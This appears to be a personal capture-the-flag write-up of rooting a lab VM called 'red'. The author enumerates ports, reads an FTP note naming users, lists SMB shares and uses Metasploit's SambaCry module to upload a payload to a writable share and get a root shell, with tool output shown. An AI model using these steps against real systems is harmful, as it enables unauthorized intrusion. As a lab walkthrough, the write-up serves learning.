

Nmap -A output was huge, the open ports were 20, 21, 22, 53, 80, 139, 666, 3306

20 is closed

21 is an open FTP port

22 ssh, 53 is DNS

80 is web server

139 is samba

666 is "doom?" → After some research I found this was used by the video game Doom. Cool!

3306 mysql

MySQL is probably only worth exploring after getting some credentials, same for port 22

For now we can start by exploring port 80 or the FTP server

```
(kali@kali)-[~]
$ ftp 192.168.1.135 21
Connected to 192.168.1.135.
220-
220-|
220-| Harry, make sure to update the banner when you get a chance to show who has access here |
220-|
220-|
220-
220
Name (192.168.1.135:kali): |
```

Lol... But we still don't have a password

I can login as ftp and get the file "note" which says

"Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John."

So there's user John, Harry and Elly. Elly has the payload information so that's what we're after. Then, Harry will probably be the target. Also, John, it's "you're" not "your"

I guess that's everything in the FTP port...

Port 80 is not found. That leaves us with samba and mysql. MySQL doesn't seem to be exploitable. Samba is our target now

Msfconsole → smb enum shares

```
msf6 auxiliary(scanner/smb/smb_enumshares) > run

[+] 192.168.1.135:139      - print$ - (DISK) Printer Drivers
[+] 192.168.1.135:139      - kathy - (DISK) Fred
[+] 192.168.1.135:139      - What are we doing here?
[+] 192.168.1.135:139      - tmp - (DISK) All temporary files should be stored here
[+] 192.168.1.135:139      - IPC$ - (IPC) IPC Service (red server (Samba
[+] 192.168.1.135:139      - Ubuntu))
[*] 192.168.1.135:         - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_enumshares) > ss|
```

After some searching, I found about SambaCry

```
msf6 exploit(linux/samba/is_known_pipename) > run

[*] 192.168.1.135:139 - Using location \\192.168.1.135\tmp\ for the path
[*] 192.168.1.135:139 - Retrieving the remote path of the share 'tmp'
[*] 192.168.1.135:139 - Share 'tmp' has server-side path '/var/tmp
[*] 192.168.1.135:139 - Uploaded payload to \\192.168.1.135\tmp\opcKGOfu.so
[*] 192.168.1.135:139 - Loading the payload from server-side path /var/tmp/opcKGOfu.so using \\PIPE\var/tmp/opcKGOfu.so ...
[-] 192.168.1.135:139 - >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND
[*] 192.168.1.135:139 - Loading the payload from server-side path /var/tmp/opcKGOfu.so using /var/tmp/opcKGOfu.so ...
[-] 192.168.1.135:139 - >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND
[*] 192.168.1.135:139 - Uploaded payload to \\192.168.1.135\tmp\smPEQNfQ.so
[*] 192.168.1.135:139 - Loading the payload from server-side path /var/tmp/smPEQNfQ.so using \\PIPE\var/tmp/smPEQNfQ.so ...
[-] 192.168.1.135:139 - >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND
[*] 192.168.1.135:139 - Loading the payload from server-side path /var/tmp/smPEQNfQ.so using /var/tmp/smPEQNfQ.so ...
[*] 192.168.1.135:139 - Probe response indicates the interactive payload was loaded ...
[*] Found shell.
[*] Command shell session 1 opened (0.0.0.0:0 → 192.168.1.135:139) at 2021-02-20 11:47:43 +0000

whoami
root
```

Upgraded to interactive shell with `/bin/bash -i`

```
root@red:/root# cat flag.txt  
cat flag.txt  
~~~~~<(Congratulations)>~~~~~  
  
      .-.-.-.  
      |_____|  
      -.-.-.  
      |_____|  
  
    _.-.-._.-.  
   /o     o\"-..  
  /o  o \"--o 0 )_.._  
( o  o  o)--.-\"0  o\"-..  
'|_____ '( o  o  o)  
          _____  
  
b6b545dc11b7a270f4bad23432190c75162c4a2b  
  
root@red:/root#
```

That easy? Was expecting something more tbh...

I read some walkthroughs and it seems like there were several other paths to root with a lot more steps than this one. Maybe I got lucky choosing the right path ;)